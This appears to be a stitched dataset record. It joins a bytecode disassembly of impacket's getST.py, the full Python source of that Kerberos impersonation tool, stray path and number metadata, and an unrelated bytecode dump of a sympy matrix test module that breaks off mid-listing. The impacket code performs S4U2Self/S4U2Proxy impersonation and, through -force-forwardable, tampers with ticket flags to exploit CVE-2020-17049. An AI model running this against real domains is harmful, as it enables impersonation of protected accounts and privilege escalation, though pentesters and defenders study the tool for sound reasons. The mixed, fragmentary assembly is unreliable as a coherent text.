sessionKey LOAD_FAST self LOAD_ATTR _GETST__user LOAD_FAST self STORE_ATTR _GETST__saveFileName EXTENDED_ARG JUMP_FORWARD to 502 SETUP_EXCEPT to 356 LOAD_GLOBAL logging LOAD_METHOD info LOAD_CONST 'Impersonating %s' LOAD_FAST self LOAD_ATTR _GETST__options LOAD_ATTR impersonate BINARY_MODULO CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _GETST__additional_ticket LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD doS4U2ProxyWithAdditionalTicket LOAD_FAST tgt LOAD_FAST cipher LOAD_FAST oldSessionKey LOAD_FAST sessionKey LOAD_GLOBAL unhexlify LOAD_FAST self LOAD_ATTR _GETST__nthash CALL_FUNCTION LOAD_FAST self LOAD_ATTR _GETST__aesKey LOAD_FAST self LOAD_ATTR _GETST__kdcHost LOAD_FAST self LOAD_ATTR _GETST__additional_ticket CALL_METHOD UNPACK_SEQUENCE STORE_FAST tgs STORE_FAST cipher STORE_FAST oldSessionKey STORE_FAST sessionKey JUMP_FORWARD to 352 LOAD_FAST self LOAD_METHOD doS4U LOAD_FAST tgt LOAD_FAST cipher LOAD_FAST oldSessionKey LOAD_FAST sessionKey LOAD_GLOBAL unhexlify LOAD_FAST self LOAD_ATTR _GETST__nthash CALL_FUNCTION LOAD_FAST self LOAD_ATTR _GETST__aesKey LOAD_FAST self LOAD_ATTR _GETST__kdcHost CALL_METHOD UNPACK_SEQUENCE STORE_FAST tgs STORE_FAST cipher STORE_FAST oldSessionKey STORE_FAST sessionKey POP_BLOCK JUMP_FORWARD to 492 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 478 LOAD_GLOBAL logging LOAD_ATTR debug LOAD_CONST 'Exception' LOAD_CONST True LOAD_CONST ('exc_info',) CALL_FUNCTION POP_TOP LOAD_GLOBAL logging LOAD_METHOD error LOAD_GLOBAL str LOAD_FAST e CALL_FUNCTION CALL_METHOD POP_TOP LOAD_GLOBAL str LOAD_FAST e CALL_FUNCTION LOAD_METHOD find LOAD_CONST 'KDC_ERR_S_PRINCIPAL_UNKNOWN' CALL_METHOD LOAD_CONST 0 COMPARE_OP >= EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL logging LOAD_METHOD error LOAD_CONST 'Probably user %s does not have constrained delegation permisions or impersonated user does not exist' LOAD_FAST self LOAD_ATTR _GETST__user BINARY_MODULO CALL_METHOD POP_TOP LOAD_GLOBAL str LOAD_FAST e CALL_FUNCTION LOAD_METHOD find LOAD_CONST 'KDC_ERR_BADOPTION' CALL_METHOD LOAD_CONST 0 COMPARE_OP >= EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL logging LOAD_METHOD error LOAD_CONST 'Probably SPN is not allowed to delegate by user %s or initial TGT not forwardable' LOAD_FAST self LOAD_ATTR _GETST__user BINARY_MODULO CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_FORWARD to 492 END_FINALLY LOAD_FAST self LOAD_ATTR _GETST__options LOAD_ATTR impersonate LOAD_FAST self STORE_ATTR _GETST__saveFileName LOAD_FAST self LOAD_METHOD saveTicket LOAD_FAST tgs LOAD_FAST oldSessionKey CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE
from __future__ import division from __future__ import print_function import argparse import datetime import logging import os import random import struct import sys from binascii import hexlify, unhexlify from six import b from pyasn1.codec.der import decoder, encoder from pyasn1.type.univ import noValue from impacket import version from impacket.examples import logger from impacket.examples.utils import parse_credentials from impacket.krb5 import constants from impacket.krb5.asn1 import ( AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS, EncTicketPart, ) from impacket.krb5.ccache import CCache from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype from impacket.krb5.constants import TicketFlags, encodeFlags from impacket.krb5.kerberosv5 import getKerberosTGS, getKerberosTGT, sendReceive from impacket.krb5.types import Principal, KerberosTime, Ticket from impacket.ntlm import compute_nthash from impacket.winregistry import hexdump class GETST: def __init__(self, target, password, domain, options): self.__password = password self.__user = target self.__domain = domain self.__lmhash = "" self.__nthash = "" self.__aesKey = options.aesKey self.__options = options self.__kdcHost = options.dc_ip self.__force_forwardable = options.force_forwardable self.__additional_ticket = options.additional_ticket self.__saveFileName = None if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(":") def saveTicket(self, ticket, sessionKey): logging.info("Saving ticket in %s" % (self.__saveFileName + ".ccache")) ccache = CCache() ccache.fromTGS(ticket, sessionKey, sessionKey) ccache.saveFile(self.__saveFileName + ".ccache") def doS4U2ProxyWithAdditionalTicket( self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path, ): if not os.path.isfile(additional_ticket_path): logging.error("Ticket %s doesn't exist" % additional_ticket_path) exit(0) else: decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] logging.info( "\tUsing additional ticket %s instead of S4U2Self" % additional_ticket_path ) ccache = CCache.loadFile(additional_ticket_path) principal = ccache.credentials[0].header["server"].prettyPrint() creds = ccache.getCredential(principal.decode()) TGS = creds.toTGS(principal) tgs = decoder.decode(TGS["KDC_REP"], asn1Spec=TGS_REP())[0] if logging.getLogger().level == logging.DEBUG: logging.debug("TGS_REP") print(tgs.prettyPrint()) if self.__force_forwardable: if isinstance(nthash, str): try: nthash = unhexlify(nthash) except TypeError: pass if isinstance(aesKey, str): try: aesKey = unhexlify(aesKey) except TypeError: pass if self.__password != "" and self.__domain != "" and self.__user != "": if not nthash: nthash = compute_nthash(self.__password) if logging.getLogger().level == logging.DEBUG: logging.debug("NTHash") print(hexlify(nthash).decode()) if not aesKey: salt = self.__domain.upper() + self.__user aesKey = _AES256CTS.string_to_key( self.__password, salt, params=None ).contents if logging.getLogger().level == logging.DEBUG: logging.debug("AESKey") print(hexlify(aesKey).decode()) cipherText = tgs["ticket"]["enc-part"]["cipher"] newCipher = _enctype_table[int(tgs["ticket"]["enc-part"]["etype"])] if newCipher.enctype == Enctype.RC4: key = Key(newCipher.enctype, nthash) else: key = Key(newCipher.enctype, aesKey) plainText = newCipher.decrypt(key, 2, cipherText) encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] logging.debug( "\tService ticket from S4U2self flags: " + str(encTicketPart["flags"]) ) logging.debug( "\tService ticket from S4U2self is" + ( "" if (encTicketPart["flags"][TicketFlags.forwardable.value] == 1) else " not" ) + " forwardable" ) logging.info("\tForcing the service ticket to be forwardable") flagBits = encTicketPart["flags"].asBinary() flagBits = ( flagBits[: TicketFlags.forwardable.value] + "1" + flagBits[TicketFlags.forwardable.value + 1 :] ) encTicketPart["flags"] = encTicketPart["flags"].clone( value=flagBits ) # Update flags logging.debug( "\tService ticket flags after modification: " + str(encTicketPart["flags"]) ) logging.debug( "\tService ticket now is" + ( "" if (encTicketPart["flags"][TicketFlags.forwardable.value] == 1) else " not" ) + " forwardable" ) encodedEncTicketPart = encoder.encode(encTicketPart) cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None) tgs["ticket"]["enc-part"]["cipher"] = cipherText ticketTGT = Ticket() ticketTGT.from_asn1(decodedTGT["ticket"]) ticket = Ticket() ticket.from_asn1(tgs["ticket"]) apReq = AP_REQ() apReq["pvno"] = 5 apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq["ap-options"] = constants.encodeFlags(opts) seq_set(apReq, "ticket", ticketTGT.to_asn1) authenticator = Authenticator() authenticator["authenticator-vno"] = 5 authenticator["crealm"] = str(decodedTGT["crealm"]) clientName = Principal() clientName.from_asn1(decodedTGT, "crealm", "cname") seq_set(authenticator, "cname", clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator["cusec"] = now.microsecond authenticator["ctime"] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) encryptedEncodedAuthenticator = cipher.encrypt( sessionKey, 7, encodedAuthenticator, None ) apReq["authenticator"] = noValue apReq["authenticator"]["etype"] = cipher.enctype apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq = TGS_REQ() tgsReq["pvno"] = 5 tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq["padata"] = noValue tgsReq["padata"][0] = noValue tgsReq["padata"][0]["padata-type"] = int( constants.PreAuthenticationDataTypes.PA_TGS_REQ.value ) tgsReq["padata"][0]["padata-value"] = encodedApReq paPacOptions = PA_PAC_OPTIONS() paPacOptions["flags"] = constants.encodeFlags( (constants.PAPacOptions.resource_based_constrained_delegation.value,) ) tgsReq["padata"][1] = noValue tgsReq["padata"][1][ "padata-type" ] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value tgsReq["padata"][1]["padata-value"] = encoder.encode(paPacOptions) reqBody = seq_set(tgsReq, "req-body") opts = list() opts.append(constants.KDCOptions.cname_in_addl_tkt.value) opts.append(constants.KDCOptions.canonicalize.value) opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) reqBody["kdc-options"] = constants.encodeFlags(opts) service2 = Principal( self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value ) seq_set(reqBody, "sname", service2.components_to_asn1) reqBody["realm"] = self.__domain myTicket = ticket.to_asn1(TicketAsn1()) seq_set_iter(reqBody, "additional-tickets", (myTicket,)) now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody["till"] = KerberosTime.to_asn1(now) reqBody["nonce"] = random.getrandbits(31) seq_set_iter( reqBody, "etype", ( int(constants.EncryptionTypes.rc4_hmac.value), int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), int(constants.EncryptionTypes.des_cbc_md5.value), int(cipher.enctype), ), ) message = encoder.encode(tgsReq) logging.info("\tRequesting S4U2Proxy") r = sendReceive(message, self.__domain, kdcHost) tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] cipherText = tgs["enc-part"]["cipher"] plainText = cipher.decrypt(sessionKey, 8, cipherText) encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] newSessionKey = Key( encTGSRepPart["key"]["keytype"], encTGSRepPart["key"]["keyvalue"] ) cipher = _enctype_table[encTGSRepPart["key"]["keytype"]] return r, cipher, sessionKey, newSessionKey def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost): decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] ticket = Ticket() ticket.from_asn1(decodedTGT["ticket"]) apReq = AP_REQ() apReq["pvno"] = 5 apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq["ap-options"] = constants.encodeFlags(opts) seq_set(apReq, "ticket", ticket.to_asn1) authenticator = Authenticator() authenticator["authenticator-vno"] = 5 authenticator["crealm"] = str(decodedTGT["crealm"]) clientName = Principal() clientName.from_asn1(decodedTGT, "crealm", "cname") seq_set(authenticator, "cname", clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator["cusec"] = now.microsecond authenticator["ctime"] = KerberosTime.to_asn1(now) if logging.getLogger().level == logging.DEBUG: logging.debug("AUTHENTICATOR") print(authenticator.prettyPrint()) print("\n") encodedAuthenticator = encoder.encode(authenticator) encryptedEncodedAuthenticator = cipher.encrypt( sessionKey, 7, encodedAuthenticator, None ) apReq["authenticator"] = noValue apReq["authenticator"]["etype"] = cipher.enctype apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq = TGS_REQ() tgsReq["pvno"] = 5 tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq["padata"] = noValue tgsReq["padata"][0] = noValue tgsReq["padata"][0]["padata-type"] = int( constants.PreAuthenticationDataTypes.PA_TGS_REQ.value ) tgsReq["padata"][0]["padata-value"] = encodedApReq clientName = Principal( self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value, ) S4UByteArray = struct.pack("<I", constants.PrincipalNameType.NT_PRINCIPAL.value) S4UByteArray += b(self.__options.impersonate) + b(self.__domain) + b"Kerberos" if logging.getLogger().level == logging.DEBUG: logging.debug("S4UByteArray") hexdump(S4UByteArray) checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray) if logging.getLogger().level == logging.DEBUG: logging.debug("CheckSum") hexdump(checkSum) paForUserEnc = PA_FOR_USER_ENC() seq_set(paForUserEnc, "userName", clientName.components_to_asn1) paForUserEnc["userRealm"] = self.__domain paForUserEnc["cksum"] = noValue paForUserEnc["cksum"]["cksumtype"] = int(constants.ChecksumTypes.hmac_md5.value) paForUserEnc["cksum"]["checksum"] = checkSum paForUserEnc["auth-package"] = "Kerberos" if logging.getLogger().level == logging.DEBUG: logging.debug("PA_FOR_USER_ENC") print(paForUserEnc.prettyPrint()) encodedPaForUserEnc = encoder.encode(paForUserEnc) tgsReq["padata"][1] = noValue tgsReq["padata"][1]["padata-type"] = int( constants.PreAuthenticationDataTypes.PA_FOR_USER.value ) tgsReq["padata"][1]["padata-value"] = encodedPaForUserEnc reqBody = seq_set(tgsReq, "req-body") opts = list() opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.canonicalize.value) reqBody["kdc-options"] = constants.encodeFlags(opts) serverName = Principal( self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value ) seq_set(reqBody, "sname", serverName.components_to_asn1) reqBody["realm"] = str(decodedTGT["crealm"]) now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody["till"] = KerberosTime.to_asn1(now) reqBody["nonce"] = random.getrandbits(31) seq_set_iter( reqBody, "etype", (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)), ) if logging.getLogger().level == logging.DEBUG: logging.debug("Final TGS") print(tgsReq.prettyPrint()) logging.info("\tRequesting S4U2self") message = encoder.encode(tgsReq) r = sendReceive(message, self.__domain, kdcHost) tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] if logging.getLogger().level == logging.DEBUG: logging.debug("TGS_REP") print(tgs.prettyPrint()) if self.__force_forwardable: if isinstance(nthash, str): try: nthash = unhexlify(nthash) except TypeError: pass if isinstance(aesKey, str): try: aesKey = unhexlify(aesKey) except TypeError: pass if self.__password != "" and self.__domain != "" and self.__user != "": if not nthash: nthash = compute_nthash(self.__password) if logging.getLogger().level == logging.DEBUG: logging.debug("NTHash") print(hexlify(nthash).decode()) if not aesKey: salt = self.__domain.upper() + self.__user aesKey = _AES256CTS.string_to_key( self.__password, salt, params=None ).contents if logging.getLogger().level == logging.DEBUG: logging.debug("AESKey") print(hexlify(aesKey).decode()) cipherText = tgs["ticket"]["enc-part"]["cipher"] newCipher = _enctype_table[int(tgs["ticket"]["enc-part"]["etype"])] if newCipher.enctype == Enctype.RC4: key = Key(newCipher.enctype, nthash) else: key = Key(newCipher.enctype, aesKey) plainText = newCipher.decrypt(key, 2, cipherText) encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] logging.debug( "\tService ticket from S4U2self flags: " + str(encTicketPart["flags"]) ) logging.debug( "\tService ticket from S4U2self is" + ( "" if (encTicketPart["flags"][TicketFlags.forwardable.value] == 1) else " not" ) + " forwardable" ) logging.info("\tForcing the service ticket to be forwardable") flagBits = encTicketPart["flags"].asBinary() flagBits = ( flagBits[: TicketFlags.forwardable.value] + "1" + flagBits[TicketFlags.forwardable.value + 1 :] ) encTicketPart["flags"] = encTicketPart["flags"].clone( value=flagBits ) # Update flags logging.debug( "\tService ticket flags after modification: " + str(encTicketPart["flags"]) ) logging.debug( "\tService ticket now is" + ( "" if (encTicketPart["flags"][TicketFlags.forwardable.value] == 1) else " not" ) + " forwardable" ) encodedEncTicketPart = encoder.encode(encTicketPart) cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None) tgs["ticket"]["enc-part"]["cipher"] = cipherText ticketTGT = Ticket() ticketTGT.from_asn1(decodedTGT["ticket"]) ticket = Ticket() ticket.from_asn1(tgs["ticket"]) apReq = AP_REQ() apReq["pvno"] = 5 apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq["ap-options"] = constants.encodeFlags(opts) seq_set(apReq, "ticket", ticketTGT.to_asn1) authenticator = Authenticator() authenticator["authenticator-vno"] = 5 authenticator["crealm"] = str(decodedTGT["crealm"]) clientName = Principal() clientName.from_asn1(decodedTGT, "crealm", "cname") seq_set(authenticator, "cname", clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator["cusec"] = now.microsecond authenticator["ctime"] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) encryptedEncodedAuthenticator = cipher.encrypt( sessionKey, 7, encodedAuthenticator, None ) apReq["authenticator"] = noValue apReq["authenticator"]["etype"] = cipher.enctype apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq = TGS_REQ() tgsReq["pvno"] = 5 tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq["padata"] = noValue tgsReq["padata"][0] = noValue tgsReq["padata"][0]["padata-type"] = int( constants.PreAuthenticationDataTypes.PA_TGS_REQ.value ) tgsReq["padata"][0]["padata-value"] = encodedApReq paPacOptions = PA_PAC_OPTIONS() paPacOptions["flags"] = constants.encodeFlags( (constants.PAPacOptions.resource_based_constrained_delegation.value,) ) tgsReq["padata"][1] = noValue tgsReq["padata"][1][ "padata-type" ] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value tgsReq["padata"][1]["padata-value"] = encoder.encode(paPacOptions) reqBody = seq_set(tgsReq, "req-body") opts = list() opts.append(constants.KDCOptions.cname_in_addl_tkt.value) opts.append(constants.KDCOptions.canonicalize.value) opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) reqBody["kdc-options"] = constants.encodeFlags(opts) service2 = Principal( self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value ) seq_set(reqBody, "sname", service2.components_to_asn1) reqBody["realm"] = self.__domain myTicket = ticket.to_asn1(TicketAsn1()) seq_set_iter(reqBody, "additional-tickets", (myTicket,)) now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody["till"] = KerberosTime.to_asn1(now) reqBody["nonce"] = random.getrandbits(31) seq_set_iter( reqBody, "etype", ( int(constants.EncryptionTypes.rc4_hmac.value), int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), int(constants.EncryptionTypes.des_cbc_md5.value), int(cipher.enctype), ), ) message = encoder.encode(tgsReq) logging.info("\tRequesting S4U2Proxy") r = sendReceive(message, self.__domain, kdcHost) tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] cipherText = tgs["enc-part"]["cipher"] plainText = cipher.decrypt(sessionKey, 8, cipherText) encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] newSessionKey = Key( encTGSRepPart["key"]["keytype"], encTGSRepPart["key"]["keyvalue"] ) cipher = _enctype_table[encTGSRepPart["key"]["keytype"]] return r, cipher, sessionKey, newSessionKey def run(self): tgt = None domain, _, TGT, _ = CCache.parseFile(self.__domain) if TGT is not None: tgt, cipher, sessionKey = TGT["KDC_REP"], TGT["cipher"], TGT["sessionKey"] oldSessionKey = sessionKey if tgt is None: userName = Principal( self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value ) logging.info("Getting TGT for user") tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( userName, self.__password, self.__domain, unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, self.__kdcHost, ) if self.__options.impersonate is None: logging.info("Getting ST for user") serverName = Principal( self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value ) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( serverName, domain, self.__kdcHost, tgt, cipher, sessionKey ) self.__saveFileName = self.__user else: try: logging.info("Impersonating %s" % self.__options.impersonate) if self.__additional_ticket is not None: ( tgs, cipher, oldSessionKey, sessionKey, ) = self.doS4U2ProxyWithAdditionalTicket( tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost, self.__additional_ticket, ) else: tgs, cipher, oldSessionKey, sessionKey = self.doS4U( tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost, ) except Exception as e: logging.debug("Exception", exc_info=True) logging.error(str(e)) if str(e).find("KDC_ERR_S_PRINCIPAL_UNKNOWN") >= 0: logging.error( "Probably user %s does not have constrained delegation permisions or impersonated user does not exist" % self.__user ) if str(e).find("KDC_ERR_BADOPTION") >= 0: logging.error( "Probably SPN is not allowed to delegate by user %s or initial TGT not forwardable" % self.__user ) return self.__saveFileName = self.__options.impersonate self.saveTicket(tgs, oldSessionKey) if __name__ == "__main__": print(version.BANNER) parser = argparse.ArgumentParser( add_help=True, description="Given a password, hash or aesKey, it will request a " "Service Ticket and save it as ccache", ) parser.add_argument("identity", action="store", help="[domain/]username[:password]") parser.add_argument( "-spn", action="store", required=True, help="SPN (service/server) of the target service the " "service ticket will" " be generated for", ) parser.add_argument( "-impersonate", action="store", help="target username that will be impersonated (thru S4U2Self)" " for quering the ST. Keep in mind this will only work if " "the identity provided in this scripts is allowed for " "delegation to the SPN specified", ) parser.add_argument( "-additional-ticket", action="store", metavar="ticket.ccache", help="include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only", ) parser.add_argument( "-ts", action="store_true", help="Adds timestamp to every logging output" ) parser.add_argument("-debug", action="store_true", help="Turn DEBUG output ON") parser.add_argument( "-force-forwardable", action="store_true", help="Force the service ticket obtained through " "S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the " "specified -identity should be provided. This allows impresonation of protected users " 'and bypass of "Kerberos-only" constrained delegation restrictions. See CVE-2020-17049', ) group = parser.add_argument_group("authentication") group.add_argument( "-hashes", action="store", metavar="LMHASH:NTHASH", help="NTLM hashes, format is LMHASH:NTHASH", ) group.add_argument( "-no-pass", action="store_true", help="don't ask for password (useful for -k)" ) group.add_argument( "-k", action="store_true", help="Use Kerberos authentication. Grabs credentials from ccache file " "(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the " "ones specified in the command line", ) group.add_argument( "-aesKey", action="store", metavar="hex key", help="AES key to use for Kerberos Authentication " "(128 or 256 bits)", ) group.add_argument( "-dc-ip", action="store", metavar="ip address", help="IP Address of the domain controller. If " "ommited it use the domain part (FQDN) specified in the target parameter", ) if len(sys.argv) == 1: parser.print_help() print("\nExamples: ") print("\t./getST.py -spn cifs/contoso-dc -hashes lm:nt contoso.com/user\n") print( "\tit will use the lm:nt hashes for authentication. If you don't specify them, a password will be asked" ) sys.exit(1) options = parser.parse_args() logger.init(options.ts) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) domain, username, password = parse_credentials(options.identity) try: if domain is None: logging.critical("Domain should be specified!") sys.exit(1) if ( password == "" and username != "" and options.hashes is None and options.no_pass is False and options.aesKey is None ): from getpass import getpass password = getpass("Password:") if options.aesKey is not None: options.k = True executer = GETST(username, password, domain, options) executer.run() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() print(str(e))
data/impacket-0.11.0/examples/getST.py
13,657
9,018
357,551
LOAD_CONST 0 LOAD_CONST ('N',) IMPORT_NAME sympy.core.evalf IMPORT_FROM N STORE_NAME N POP_TOP LOAD_CONST 0 LOAD_CONST ('Float', 'I', 'Rational') IMPORT_NAME sympy.core.numbers IMPORT_FROM Float STORE_NAME Float IMPORT_FROM I STORE_NAME I IMPORT_FROM Rational STORE_NAME Rational POP_TOP LOAD_CONST 0 LOAD_CONST ('Symbol', 'symbols') IMPORT_NAME sympy.core.symbol IMPORT_FROM Symbol STORE_NAME Symbol IMPORT_FROM symbols STORE_NAME symbols POP_TOP LOAD_CONST 0 LOAD_CONST ('Abs',) IMPORT_NAME sympy.functions.elementary.complexes IMPORT_FROM Abs STORE_NAME Abs POP_TOP LOAD_CONST 0 LOAD_CONST ('exp',) IMPORT_NAME sympy.functions.elementary.exponential IMPORT_FROM exp STORE_NAME exp POP_TOP LOAD_CONST 0 LOAD_CONST ('sqrt',) IMPORT_NAME sympy.functions.elementary.miscellaneous IMPORT_FROM sqrt STORE_NAME sqrt POP_TOP LOAD_CONST 0 LOAD_CONST ('cos', 'sin') IMPORT_NAME sympy.functions.elementary.trigonometric IMPORT_FROM cos STORE_NAME cos IMPORT_FROM sin STORE_NAME sin POP_TOP LOAD_CONST 0 LOAD_CONST ('eye', 'Matrix') IMPORT_NAME sympy.matrices IMPORT_FROM eye STORE_NAME eye IMPORT_FROM Matrix STORE_NAME Matrix POP_TOP LOAD_CONST 0 LOAD_CONST ('S',) IMPORT_NAME sympy.core.singleton IMPORT_FROM S STORE_NAME S POP_TOP LOAD_CONST 0 LOAD_CONST ('raises', 'XFAIL') IMPORT_NAME sympy.testing.pytest IMPORT_FROM raises STORE_NAME raises IMPORT_FROM XFAIL STORE_NAME XFAIL POP_TOP LOAD_CONST 0 LOAD_CONST ('NonSquareMatrixError', 'MatrixError') IMPORT_NAME sympy.matrices.matrices IMPORT_FROM NonSquareMatrixError STORE_NAME NonSquareMatrixError IMPORT_FROM MatrixError STORE_NAME MatrixError POP_TOP LOAD_CONST 0 LOAD_CONST ('DFT',) IMPORT_NAME sympy.matrices.expressions.fourier IMPORT_FROM DFT STORE_NAME DFT POP_TOP LOAD_CONST 0 LOAD_CONST ('simplify',) IMPORT_NAME sympy.simplify.simplify IMPORT_FROM simplify STORE_NAME simplify POP_TOP LOAD_CONST 0 LOAD_CONST ('ImmutableMatrix',) IMPORT_NAME sympy.matrices.immutable IMPORT_FROM ImmutableMatrix STORE_NAME ImmutableMatrix POP_TOP LOAD_CONST 0 LOAD_CONST ('slow',) IMPORT_NAME sympy.testing.pytest IMPORT_FROM slow STORE_NAME slow POP_TOP LOAD_CONST 0 LOAD_CONST ('allclose',) IMPORT_NAME sympy.testing.matrices IMPORT_FROM allclose STORE_NAME allclose POP_TOP LOAD_CONST <code object test_eigen at 0x7fab822585d0, file "f.py", line 19> LOAD_CONST 'test_eigen' MAKE_FUNCTION STORE_NAME test_eigen LOAD_NAME slow LOAD_CONST <code object test_eigen_slow at 0x7fab822586f0, file "f.py", line 174> LOAD_CONST 'test_eigen_slow' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_eigen_slow LOAD_CONST <code object test_float_eigenvals at 0x7fab82258b70, file "f.py", line 188> LOAD_CONST 'test_float_eigenvals' MAKE_FUNCTION STORE_NAME test_float_eigenvals LOAD_NAME XFAIL LOAD_CONST <code object test_eigen_vects at 0x7fab82258030, file "f.py", line 201> LOAD_CONST 'test_eigen_vects' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_eigen_vects LOAD_CONST <code object test_issue_8240 at 0x7fab703b0810, file "f.py", line 210> LOAD_CONST 'test_issue_8240' MAKE_FUNCTION STORE_NAME test_issue_8240 LOAD_CONST <code object test_eigenvals at 0x7fab703b0ed0, file "f.py", line 238> LOAD_CONST 'test_eigenvals' MAKE_FUNCTION STORE_NAME test_eigenvals LOAD_CONST <code object test_eigenvects at 0x7fab703b0b70, file "f.py", line 255> LOAD_CONST 'test_eigenvects' MAKE_FUNCTION STORE_NAME test_eigenvects LOAD_CONST <code object test_left_eigenvects at 0x7fab703b0930, file "f.py", line 263> LOAD_CONST 'test_left_eigenvects' MAKE_FUNCTION STORE_NAME test_left_eigenvects LOAD_NAME slow LOAD_CONST <code object test_bidiagonalize at 0x7fab703b0c90, file "f.py", line 271> LOAD_CONST 'test_bidiagonalize' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_bidiagonalize LOAD_CONST <code object test_diagonalize at 0x7fab703b0c00, file "f.py", line 394> LOAD_CONST 'test_diagonalize' MAKE_FUNCTION STORE_NAME test_diagonalize LOAD_CONST <code object test_is_diagonalizable at 0x7fab703b0780, file "f.py", line 414> LOAD_CONST 'test_is_diagonalizable' MAKE_FUNCTION STORE_NAME test_is_diagonalizable LOAD_CONST <code object test_jordan_form at 0x7fab703b0660, file "f.py", line 426> LOAD_CONST 'test_jordan_form' MAKE_FUNCTION STORE_NAME test_jordan_form LOAD_CONST <code object test_singular_values at 0x7fab703b0300, file "f.py", line 462> LOAD_CONST 'test_singular_values' MAKE_FUNCTION STORE_NAME test_singular_values LOAD_CONST <code object test___eq__ at 0x7fab703b09c0, file "f.py", line 483> LOAD_CONST 'test___eq__' MAKE_FUNCTION STORE_NAME test___eq__ LOAD_CONST <code object test_definite at 0x7fab703b04b0, file "f.py", line 487> LOAD_CONST 'test_definite' MAKE_FUNCTION STORE_NAME test_definite LOAD_CONST <code object test_positive_semidefinite_cholesky at 0x7fab801a5030, file "f.py", line 590> LOAD_CONST 'test_positive_semidefinite_cholesky' MAKE_FUNCTION STORE_NAME test_positive_semidefinite_cholesky LOAD_CONST <code object test_issue_20582 at 0x7fab801a50c0, file "f.py", line 612> LOAD_CONST 'test_issue_20582' MAKE_FUNCTION STORE_NAME test_issue_20582 LOAD_CONST <code object test_issue_19210 at 0x7fab801a51e0, file "f.py", line 625> LOAD_CONST 'test_issue_19210' MAKE_FUNCTION STORE_NAME test_issue_19210 LOAD_CONST <code object test_issue_20275 